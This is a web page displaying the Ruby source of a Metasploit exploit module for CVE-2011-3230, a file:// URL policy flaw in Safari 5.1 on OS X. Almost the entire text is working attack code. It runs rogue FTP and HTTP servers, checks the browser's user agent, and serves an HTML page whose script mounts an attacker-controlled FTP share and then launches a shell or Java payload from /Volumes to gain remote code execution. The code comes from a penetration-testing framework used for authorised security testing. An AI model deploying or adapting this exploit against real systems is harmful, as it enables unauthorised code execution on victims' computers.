Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/browser/safari_file_policy.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = NormalRanking89include Msf::Exploit::Remote::FtpServer1011def initialize(info={})12super(update_info(info,13'Name' => "Apple Safari file:// Arbitrary Code Execution",14'Description' => %q{15This module exploits a vulnerability found in Apple Safari on OS X platform.16A policy issue in the handling of file:// URLs may allow arbitrary remote code17execution under the context of the user.1819In order to trigger arbitrary remote code execution, the best way seems to20be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or21a file format that OS X might automount), and then execute it in /Volumes/[share].22If there's some kind of bug that leaks the victim machine's current username,23then it's also possible to execute the payload in /Users/[username]/Downloads/,24or else bruteforce your way to getting that information.2526Please note that non-java payloads (*.sh extension) might get launched by27Xcode instead of executing it, in that case please try the Java ones instead.28},29'License' => MSF_LICENSE,30'Author' =>31[32'Aaron Sigel', # Initial discovery33'sinn3r', # Metasploit (also big thanks to HD, and bannedit)34],35'References' =>36[37[ 'CVE', '2011-3230' ],38[ 'OSVDB', '76389' ],39[ 'URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments' ],40[ 'URL', 'http://support.apple.com/kb/HT5000' ]41],42'Payload' =>43{44'BadChars' => "",45},46'DefaultOptions' =>47{48'EXITFUNC' => "none",49},50'Platform' => %w{ java osx unix },51'Arch' => [ ARCH_CMD, ARCH_JAVA ],52'Targets' =>53[54[ 'Safari 5.1 on OS X', {} ],55[ 'Safari 5.1 on OS X with Java', {} ]56],57'Privileged' => true,58'DisclosureDate' => '2011-10-12', #Blog date59'DefaultTarget' => 0))6061register_options(62[63OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),64OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),65OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])66])67end686970#71# Start the FTP aand HTTP server72#73def exploit74# The correct extension name is necessary because that's how the LauncherServices75# determines how to open the file.76ext = (target.name =~ /java/i) ? '.jar' : '.sh'77@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext7879# Start the FTP server80start_service()81print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")8283# Create our own HTTP server84# We will stay in this functino until we manually terminate execution85start_http()86end878889#90# Lookup the right address for the client91#92def lookup_lhost(c=nil)93# Get the source address94if datastore['SRVHOST'] == '0.0.0.0'95Rex::Socket.source_address( c || '50.50.50.50')96else97datastore['SRVHOST']98end99end100101102#103# Override the client connection method and104# initialize our payload105#106def on_client_connect(c)107r = super(c)108@state[c][:payload] = regenerate_payload(c).encoded109r110end111112113#114# Handle FTP LIST request (send back the directory listing)115#116def on_client_command_list(c, arg)117conn = establish_data_connection(c)118if not conn119c.put("425 Can't build data connection\r\n")120return121end122123print_status("Data connection setup")124c.put("150 Here comes the directory listing\r\n")125126print_status("Sending directory list via data connection")127month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']128m = month_names[Time.now.month-1]129d = Time.now.day130y = Time.now.year131132dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"133conn.put(dir)134conn.close135136print_status("Directory sent ok")137c.put("226 Transfer ok\r\n")138139return140end141142143#144# Handle the FTP RETR request. This is where we transfer our actual malicious payload145#146def on_client_command_retr(c, arg)147conn = establish_data_connection(c)148if not conn149c.put("425 can't build data connection\r\n")150return151end152153print_status("Connection for file transfer accepted")154c.put("150 Connection accepted\r\n")155156# Send out payload157conn.put(@state[c][:payload])158conn.close159return160end161162163#164# Handle the HTTP request and return a response. Code borrorwed from:165# msf/core/exploit/http/server.rb166#167def start_http(opts={})168# Ensure all dependencies are present before initializing HTTP169use_zlib170171comm = datastore['ListenerComm']172if (comm.to_s == "local")173comm = ::Rex::Socket::Comm::Local174else175comm = nil176end177178# Default the server host / port179opts = {180'ServerHost' => datastore['SRVHOST'],181'ServerPort' => datastore['HTTPPORT'],182'Comm' => comm183}.update(opts)184185# Start a new HTTP server186@http_service = Rex::ServiceManager.start(187Rex::Proto::Http::Server,188opts['ServerPort'].to_i,189opts['ServerHost'],190datastore['SSL'],191{192'Msf' => framework,193'MsfExploit' => self,194},195opts['Comm'],196datastore['SSLCert']197)198199@http_service.server_name = datastore['HTTP::server_name']200201# Default the procedure of the URI to on_request_uri if one isn't202# provided.203uopts = {204'Proc' => Proc.new { |cli, req|205on_request_uri(cli, req)206},207'Path' => resource_uri208}.update(opts['Uri'] || {})209210proto = (datastore["SSL"] ? "https" : "http")211print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")212213if (opts['ServerHost'] == '0.0.0.0')214print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")215end216217# Add path to resource218@service_path = uopts['Path']219@http_service.add_resource(uopts['Path'], uopts)220221# As long as we have the http_service object, we will keep the ftp server alive222while @http_service223select(nil, nil, nil, 1)224end225end226227228#229# Kill HTTP/FTP (shut them down and clear resources)230#231def cleanup232super233234# clear my resource, deregister ref, stop/close the HTTP socket235begin236@http_service.remove_resource(datastore['URIPATH'])237@http_service.deref238@http_service = nil239rescue240end241end242243244#245# Ensures that gzip can be used. If not, an exception is generated. The246# exception is only raised if the DisableGzip advanced option has not been247# set.248#249def use_zlib250if !Rex::Text.zlib_present? && datastore['HTTP::compression']251fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")252end253end254255256#257# Returns the configured (or random, if not configured) URI path258#259def resource_uri260path = datastore['URIPATH'] || rand_text_alphanumeric(8+rand(8))261path = '/' + path if path !~ /^\//262datastore['URIPATH'] = path263return path264end265266267#268# Handle HTTP requets and responses269#270def on_request_uri(cli, request)271agent = request.headers['User-Agent']272273if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/274print_error("Unsupported target: #{agent}")275send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")276return277end278279html = <<-HTML280<html>281<head>282<base href="file://">283<script>284function launch() {285document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";286}287288function share() {289document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";290setTimeout("launch()", 2000);291}292293share();294</script>295</head>296<body>297</body>298</html>299HTML300301send_response(cli, 200, 'OK', html)302end303304305#306# Create an HTTP response and then send it307#308def send_response(cli, code, message='OK', html='')309proto = Rex::Proto::Http::DefaultProtocol310res = Rex::Proto::Http::Response.new(code, message, proto)311res['Content-Type'] = 'text/html'312res.body = html313314cli.send_response(res)315end316end317318=begin319- Need to find a suitable payload that can be executed without warning.320Certain executables cannot be executed due to permission issues. A jar file doesn't have this321problem, but we still get a "Are you sure?" warning before it can be executed.322- Allow user-specified port to automount the share323- Allow ftp USERNAME/PASSWORD (optional)324=end325326327